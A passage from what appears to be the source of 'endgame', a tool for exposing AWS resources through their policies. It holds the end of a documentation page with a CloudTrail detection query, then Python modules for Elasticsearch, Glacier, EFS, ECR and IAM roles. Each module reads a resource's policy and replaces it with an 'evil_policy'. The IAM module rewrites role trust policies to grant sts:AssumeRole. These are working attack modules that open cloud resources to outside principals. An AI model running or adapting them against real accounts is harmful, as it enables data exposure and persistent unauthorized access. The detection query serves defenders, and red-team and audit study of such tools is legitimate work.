of the properties of a topic. This includes the resource-based policy document for the SNS Topic, which lists information about who is authorized to access the SNS Topic_ 94 | - [sns:ListTopics](https://docs.aws.amazon.com/sns/latest/api/API_ListTopics.html): _Returns a list of the requester's topics._ 95 | 96 | Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) 97 | 98 | ## Basic Detection 99 | The following CloudWatch Log Insights query will include exposure actions taken by endgame: 100 | ``` 101 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 102 | | filter eventSource='ses.amazonaws.com' AND (eventName='PutIdentityPolicy' or eventName='DeleteIdentityPolicy') 103 | ``` 104 | 105 | This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group. 106 | 107 | ## References 108 | 109 | * [add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sns/add-permission.html) -------------------------------------------------------------------------------- /endgame/exposure_via_resource_policies/elasticsearch.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import logging 3 | import json 4 | import boto3 5 | import botocore 6 | from abc import ABC 7 | from botocore.exceptions import ClientError 8 | from endgame.shared import constants 9 | from endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes 10 | from endgame.shared.policy_document import PolicyDocument 11 | from endgame.shared.list_resources_response import ListResourcesResponse 12 | from endgame.shared.response_message import ResponseMessage 13 | from endgame.shared.response_message import ResponseGetRbp 14 | 15 | logger = logging.getLogger(__name__) 16 | 17 | 18 | class ElasticSearchDomain(ResourceType, ABC): 19 | def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str): 20 | self.service = "es" 21 | self.resource_type = "domain" 22 | self.region = region 23 | self.current_account_id = current_account_id 24 | self.name = name 25 | super().__init__(name, self.resource_type, self.service, region, client, current_account_id) 26 | 27 | @property 28 | def arn(self) -> str: 29 | return f"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}" 30 | 31 | def _get_rbp(self) -> ResponseGetRbp: 32 | """Get the resource based policy for this resource and store it""" 33 | logger.debug("Getting resource policy for %s" % self.arn) 34 | try: 35 | # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ses.html#SES.Client.list_identity_policies 36 | response = self.client.describe_elasticsearch_domain_config(DomainName=self.name) 37 | domain_config = response.get("DomainConfig") 38 | policy = domain_config.get("AccessPolicies").get("Options") 39 | if policy: 40 | policy = json.loads(policy) 41 | else: 42 | policy = constants.get_empty_policy() 43 | success = True 44 | except botocore.exceptions.ClientError: 45 | # When there is no policy, let's return an empty policy to avoid breaking things 46 | policy = constants.get_empty_policy() 47 | success = False 48 | policy_document = PolicyDocument( 49 | policy=policy, 50 | service=self.service, 51 | override_action=self.override_action, 52 | include_resource_block=self.include_resource_block, 53 | override_resource_block=self.override_resource_block, 54 | override_account_id_instead_of_principal=self.override_account_id_instead_of_principal, 55 | ) 56 | response = ResponseGetRbp(policy_document=policy_document, success=success) 57 | return response 58 | 59 | def set_rbp(self, evil_policy: dict) -> ResponseMessage: 60 | new_policy = json.dumps(evil_policy) 61 | logger.debug("Setting resource policy for %s" % self.arn) 62 | try: 63 | # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/es.html#ElasticsearchService.Client.update_elasticsearch_domain_config 64 | self.client.update_elasticsearch_domain_config(DomainName=self.name, AccessPolicies=new_policy) 65 | message = "success" 66 | success = True 67 | except botocore.exceptions.ClientError as error: 68 | message = str(error) 69 | success = False 70 | response_message = ResponseMessage(message=message, operation="set_rbp", success=success, evil_principal="", 71 | victim_resource_arn=self.arn, original_policy=self.original_policy, 72 | updated_policy=evil_policy, resource_type=self.resource_type, 73 | resource_name=self.name, service=self.service) 74 | return response_message 75 | 76 | 77 | class ElasticSearchDomains(ResourceTypes): 78 | def __init__(self, client: boto3.Session.client, current_account_id: str, region: str): 79 | super().__init__(client, current_account_id, region) 80 | self.service = "elasticsearch" 81 | self.resource_type = "domain" 82 | 83 | @property 84 | def resources(self) -> [ListResourcesResponse]: 85 | """Get a list of these resources""" 86 | resources = [] 87 | 88 | response = self.client.list_domain_names() 89 | if response.get("DomainNames"): 90 | for domain_name in response.get("DomainNames"): 91 | name = domain_name.get("DomainName") 92 | arn = f"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{name}" 93 | list_resources_response = ListResourcesResponse( 94 | service=self.service, account_id=self.current_account_id, arn=arn, region=self.region, 95 | resource_type=self.resource_type, name=name) 96 | # resources.append(domain_name.get("DomainName")) 97 | resources.append(list_resources_response) 98 | return resources 99 | -------------------------------------------------------------------------------- /endgame/exposure_via_resource_policies/glacier_vault.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | import boto3 4 | import botocore 5 | from abc import ABC 6 | from botocore.exceptions import ClientError 7 | from endgame.shared import constants 8 | from endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes 9 | from endgame.shared.policy_document import PolicyDocument 10 | from endgame.shared.list_resources_response import ListResourcesResponse 11 | from endgame.shared.response_message import ResponseMessage 12 | from endgame.shared.response_message import ResponseGetRbp 13 | 14 | logger = logging.getLogger(__name__) 15 | 16 | 17 | class GlacierVault(ResourceType, ABC): 18 | def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str): 19 | self.service = "glacier" 20 | self.resource_type = "vaults" 21 | self.region = region 22 | self.current_account_id = current_account_id 23 | self.name = name 24 | super().__init__(name, self.resource_type, self.service, region, client, current_account_id, 25 | override_resource_block=self.arn) 26 | 27 | @property 28 | def arn(self) -> str: 29 | return f"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}" 30 | 31 | def _get_rbp(self) -> ResponseGetRbp: 32 | """Get the resource based policy for this resource and store it""" 33 | logger.debug("Getting resource policy for %s" % self.arn) 34 | # When there is no policy, let's return an empty policy to avoid breaking things 35 | policy = constants.get_empty_policy() 36 | try: 37 | # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/glacier.html#Glacier.Client.get_vault_access_policy 38 | response = self.client.get_vault_access_policy(vaultName=self.name) 39 | policy = json.loads(response.get("policy").get("Policy")) 40 | success = True 41 | # This is silly. If there is no access policy set on the vault, then it returns the same error as if the vault didn't exist. 42 | except self.client.exceptions.ResourceNotFoundException as error: 43 | logger.debug(error) 44 | success = True 45 | except botocore.exceptions.ClientError: 46 | success = False 47 | policy_document = PolicyDocument( 48 | policy=policy, 49 | service=self.service, 50 | override_action=self.override_action, 51 | include_resource_block=self.include_resource_block, 52 | override_resource_block=self.override_resource_block, 53 | override_account_id_instead_of_principal=self.override_account_id_instead_of_principal, 54 | ) 55 | response = ResponseGetRbp(policy_document=policy_document, success=success) 56 | return response 57 | 58 | def set_rbp(self, evil_policy: dict) -> ResponseMessage: 59 | logger.debug("Setting resource policy for %s" % self.arn) 60 | new_policy = json.dumps(evil_policy) 61 | try: 62 | # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/glacier.html#Glacier.Client.set_vault_access_policy 63 | self.client.set_vault_access_policy(vaultName=self.name, policy={"Policy": new_policy}) 64 | message = "success" 65 | success = True 66 | except botocore.exceptions.ClientError as error: 67 | message = str(error) 68 | success = False 69 | response_message = ResponseMessage(message=message, operation="set_rbp", success=success, evil_principal="", 70 | victim_resource_arn=self.arn, original_policy=self.original_policy, 71 | updated_policy=evil_policy, resource_type=self.resource_type, 72 | resource_name=self.name, service=self.service) 73 | return response_message 74 | 75 | 76 | class GlacierVaults(ResourceTypes): 77 | def __init__(self, client: boto3.Session.client, current_account_id: str, region: str): 78 | super().__init__(client, current_account_id, region) 79 | self.service = "glacier" 80 | self.resource_type = "vaults" 81 | 82 | @property 83 | def resources(self) -> [ListResourcesResponse]: 84 | """Get a list of these resources""" 85 | resources = [] 86 | 87 | paginator = self.client.get_paginator("list_vaults") 88 | page_iterator = paginator.paginate() 89 | for page in page_iterator: 90 | these_resources = page["VaultList"] 91 | for resource in these_resources: 92 | name = resource.get("VaultName") 93 | arn = resource.get("VaultARN") 94 | list_resources_response = ListResourcesResponse( 95 | service=self.service, account_id=self.current_account_id, arn=arn, region=self.region, 96 | resource_type=self.resource_type, name=name) 97 | resources.append(list_resources_response) 98 | return resources 99 | -------------------------------------------------------------------------------- /endgame/exposure_via_resource_policies/efs.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | import boto3 4 | import botocore 5 | from abc import ABC 6 | from botocore.exceptions import ClientError 7 | from endgame.shared import constants 8 | from endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes 9 | from endgame.shared.policy_document import PolicyDocument 10 | from endgame.shared.list_resources_response import ListResourcesResponse 11 | from endgame.shared.response_message import ResponseMessage 12 | from endgame.shared.response_message import ResponseGetRbp 13 | 14 | logger = logging.getLogger(__name__) 15 | 16 | 17 | class ElasticFileSystem(ResourceType, ABC): 18 | def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str): 19 | self.service = "elasticfilesystem" 20 | self.resource_type = "file-system" 21 | self.region = region 22 | self.current_account_id = current_account_id 23 | self.name = name 24 | # Override parent defaults because EFS is weird with the resource block requirements 25 | self.override_resource_block = self.arn 26 | super().__init__(name, self.resource_type, self.service, region, client, current_account_id, 27 | override_resource_block=self.override_resource_block) 28 | 29 | @property 30 | def arn(self) -> str: 31 | # NOTE: self.name represents the File System ID 32 | return f"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}" 33 | 34 | def _get_rbp(self) -> ResponseGetRbp: 35 | """Get the resource based policy for this resource and store it""" 36 | logger.debug("Getting resource policy for %s" % self.arn) 37 | try: 38 | response = self.client.describe_file_system_policy(FileSystemId=self.name) 39 | policy = json.loads(response.get("Policy")) 40 | success = True 41 | except self.client.exceptions.PolicyNotFound as error: 42 | policy = constants.get_empty_policy() 43 | success = True 44 | except botocore.exceptions.ClientError: 45 | # When there is no policy, let's return an empty policy to avoid breaking things 46 | policy = constants.get_empty_policy() 47 | success = False 48 | policy_document = PolicyDocument( 49 | policy=policy, 50 | service=self.service, 51 | override_action=self.override_action, 52 | include_resource_block=self.include_resource_block, 53 | override_resource_block=self.override_resource_block, 54 | override_account_id_instead_of_principal=self.override_account_id_instead_of_principal, 55 | ) 56 | response = ResponseGetRbp(policy_document=policy_document, success=success) 57 | return response 58 | 59 | def set_rbp(self, evil_policy: dict) -> ResponseMessage: 60 | logger.debug("Setting resource policy for %s" % self.arn) 61 | new_policy = json.dumps(evil_policy) 62 | try: 63 | # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/efs.html#EFS.Client.put_file_system_policy 64 | self.client.put_file_system_policy(FileSystemId=self.name, Policy=new_policy) 65 | message = "success" 66 | success = True 67 | except botocore.exceptions.ClientError as error: 68 | message = str(error) 69 | success = False 70 | response_message = ResponseMessage(message=message, operation="set_rbp", success=success, evil_principal="", 71 | victim_resource_arn=self.arn, original_policy=self.original_policy, 72 | updated_policy=evil_policy, resource_type=self.resource_type, 73 | resource_name=self.name, service=self.service) 74 | return response_message 75 | 76 | 77 | class ElasticFileSystems(ResourceTypes): 78 | def __init__(self, client: boto3.Session.client, current_account_id: str, region: str): 79 | super().__init__(client, current_account_id, region) 80 | self.service = "elasticfilesystem" 81 | self.resource_type = "file-system" 82 | 83 | @property 84 | def resources(self) -> [ListResourcesResponse]: 85 | """Get a list of these resources""" 86 | resources = [] 87 | 88 | paginator = self.client.get_paginator("describe_file_systems") 89 | page_iterator = paginator.paginate() 90 | for page in page_iterator: 91 | these_resources = page["FileSystems"] 92 | for resource in these_resources: 93 | fs_id = resource.get("FileSystemId") 94 | arn = resource.get("FileSystemArn") 95 | list_resources_response = ListResourcesResponse( 96 | service=self.service, account_id=self.current_account_id, arn=arn, region=self.region, 97 | resource_type=self.resource_type, name=fs_id) 98 | resources.append(list_resources_response) 99 | return resources 100 | -------------------------------------------------------------------------------- /endgame/exposure_via_resource_policies/ecr.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | import boto3 4 | import botocore 5 | from abc import ABC 6 | from botocore.exceptions import ClientError 7 | from endgame.shared import constants 8 | from endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes 9 | from endgame.shared.policy_document import PolicyDocument 10 | from endgame.shared.list_resources_response import ListResourcesResponse 11 | from endgame.shared.response_message import ResponseMessage 12 | from endgame.shared.response_message import ResponseGetRbp 13 | 14 | logger = logging.getLogger(__name__) 15 | 16 | 17 | class EcrRepository(ResourceType, ABC): 18 | def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str): 19 | self.service = "ecr" 20 | self.resource_type = "repository" 21 | self.region = region 22 | self.current_account_id = current_account_id 23 | self.name = name 24 | self.include_resource_block = False 25 | super().__init__(name, self.resource_type, self.service, region, client, current_account_id, 26 | include_resource_block=self.include_resource_block) 27 | 28 | @property 29 | def arn(self) -> str: 30 | return f"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}" 31 | 32 | def _get_rbp(self) -> ResponseGetRbp: 33 | """Get the resource based policy for this resource and store it""" 34 | logger.debug("Getting resource policy for %s" % self.arn) 35 | policy = constants.get_empty_policy() 36 | try: 37 | # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ecr.html#ECR.Client.get_repository_policy 38 | response = self.client.get_repository_policy(repositoryName=self.name) 39 | policy = json.loads(response.get("policyText")) 40 | success = True 41 | except self.client.exceptions.RepositoryPolicyNotFoundException: 42 | logger.debug("Policy not found. Setting policy document to empty.") 43 | success = True 44 | except self.client.exceptions.RepositoryNotFoundException: 45 | logger.critical("Repository does not exist") 46 | success = False 47 | except botocore.exceptions.ClientError: 48 | # When there is no policy, let's return an empty policy to avoid breaking things 49 | success = False 50 | policy_document = PolicyDocument( 51 | policy=policy, 52 | service=self.service, 53 | override_action=self.override_action, 54 | include_resource_block=self.include_resource_block, 55 | override_resource_block=self.override_resource_block, 56 | override_account_id_instead_of_principal=self.override_account_id_instead_of_principal, 57 | ) 58 | response = ResponseGetRbp(policy_document=policy_document, success=success) 59 | return response 60 | 61 | def set_rbp(self, evil_policy: dict) -> ResponseMessage: 62 | logger.debug("Setting resource policy for %s" % self.arn) 63 | new_policy = json.dumps(evil_policy) 64 | try: 65 | # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ecr.html#ECR.Client.set_repository_policy 66 | self.client.set_repository_policy(repositoryName=self.name, policyText=new_policy) 67 | message = "success" 68 | success = True 69 | except botocore.exceptions.ClientError as error: 70 | message = str(error) 71 | success = False 72 | response_message = ResponseMessage(message=message, operation="set_rbp", success=success, evil_principal="", 73 | victim_resource_arn=self.arn, original_policy=self.original_policy, 74 | updated_policy=evil_policy, resource_type=self.resource_type, 75 | resource_name=self.name, service=self.service) 76 | return response_message 77 | 78 | 79 | class EcrRepositories(ResourceTypes): 80 | def __init__(self, client: boto3.Session.client, current_account_id: str, region: str): 81 | super().__init__(client, current_account_id, region) 82 | self.service = "ecr" 83 | self.resource_type = "repository" 84 | 85 | @property 86 | def resources(self) -> [ListResourcesResponse]: 87 | """Get a list of these resources""" 88 | resources = [] 89 | 90 | paginator = self.client.get_paginator("describe_repositories") 91 | page_iterator = paginator.paginate() 92 | for page in page_iterator: 93 | these_resources = page["repositories"] 94 | for resource in these_resources: 95 | name = resource.get("repositoryName") 96 | arn = resource.get("repositoryArn") 97 | list_resources_response = ListResourcesResponse( 98 | service=self.service, account_id=self.current_account_id, arn=arn, region=self.region, 99 | resource_type=self.resource_type, name=name) 100 | resources.append(list_resources_response) 101 | return resources 102 | -------------------------------------------------------------------------------- /endgame/exposure_via_resource_policies/iam.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | import boto3 4 | import botocore 5 | from abc import ABC 6 | from botocore.exceptions import ClientError 7 | from endgame.shared import constants 8 | from endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes 9 | from endgame.shared.policy_document import PolicyDocument 10 | from endgame.shared.list_resources_response import ListResourcesResponse 11 | from endgame.shared.response_message import ResponseMessage 12 | from endgame.shared.response_message import ResponseGetRbp 13 | 14 | logger = logging.getLogger(__name__) 15 | 16 | 17 | class IAMRole(ResourceType, ABC): 18 | def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str): 19 | self.service = "iam" 20 | self.resource_type = "role" 21 | self.region = region 22 | self.current_account_id = current_account_id 23 | self.name = name 24 | # Override parent values due to IAM being special 25 | # Don't include the "Resource" block in the policy, or else the policy update will fail 26 | # Instead of iam:*, we want to give sts:AssumeRole 27 | self.include_resource_block = False 28 | self.override_action = "sts:AssumeRole" 29 | super().__init__(name, self.resource_type, self.service, region, client, current_account_id, 30 | include_resource_block=self.include_resource_block, override_action=self.override_action) 31 | 32 | @property 33 | def arn(self) -> str: 34 | return f"arn:aws:{self.service}::{self.current_account_id}:{self.resource_type}/{self.name}" 35 | 36 | def _get_rbp(self) -> ResponseGetRbp: 37 | """Get the resource based policy for this resource and store it""" 38 | logger.debug("Getting resource policy for %s" % self.arn) 39 | try: 40 | response = self.client.get_role(RoleName=self.name) 41 | policy = response.get("Role").get("AssumeRolePolicyDocument") 42 | success = True 43 | except self.client.exceptions.NoSuchEntityException: 44 | logger.critical(f"There is no resource with the name {self.name}") 45 | policy = constants.get_empty_policy() 46 | success = False 47 | except botocore.exceptions.ClientError: 48 | # When there is no policy, let's return an empty policy to avoid breaking things 49 | policy = constants.get_empty_policy() 50 | success = False 51 | policy_document = PolicyDocument( 52 | policy=policy, 53 | service=self.service, 54 | override_action=self.override_action, 55 | include_resource_block=self.include_resource_block, 56 | override_resource_block=self.override_resource_block, 57 | override_account_id_instead_of_principal=self.override_account_id_instead_of_principal, 58 | ) 59 | response = ResponseGetRbp(policy_document=policy_document, success=success) 60 | return response 61 | 62 | def set_rbp(self, evil_policy: dict) -> ResponseMessage: 63 | logger.debug("Setting resource policy for %s" % self.arn) 64 | new_policy = json.dumps(evil_policy) 65 | try: 66 | self.client.update_assume_role_policy(RoleName=self.name, PolicyDocument=new_policy) 67 | message = "success" 68 | success = True 69 | except botocore.exceptions.ClientError as error: 70 | message = str(error) 71 | logger.critical(error) 72 | success = False 73 | response_message = ResponseMessage(message=message, operation="set_rbp", success=success, evil_principal="", 74 | victim_resource_arn=self.arn, original_policy=self.original_policy, 75 | updated_policy=evil_policy, resource_type=self.resource_type, 76 | resource_name=self.name, service=self.service) 77 | return response_message 78 | 79 | 80 | class IAMRoles(ResourceTypes): 81 | def __init__(self, client: boto3.Session.client, current_account_id: str, region: str): 82 | super().__init__(client, current_account_id, region) 83 | self.service = "iam" 84 | self.resource_type = "role" 85 | 86 | @property 87 | def resources(self) -> [ListResourcesResponse]: 88 | """Get a list of these resources""" 89 | resources = [] 90 | 91 | paginator = self.client.get_paginator("list_roles") 92 | page_iterator = paginator.paginate() 93 | for page in page_iterator: 94 | roles = page["Roles"] 95 | for role in roles: 96 | path = role.get("Path") 97 | arn = role.get("Arn") 98 | name = role.get("RoleName") 99 | # Special case: Ignore Service Linked Roles 100 | if path.startswith("/aws-service-role/"): 101 | # if path == "/service-role/" or path.startswith("/aws-service-role/"): 102 | continue 103 | list_resources_response = ListResourcesResponse( 104 | service=self.service, account_id=self.current_account_id, arn=arn, region=self.region, 105 | resource_type=self.resource_type, name=name) 106 | resources.append(list_resources_response) 107 | return resources 108 | --------------------------------------------------------------------------------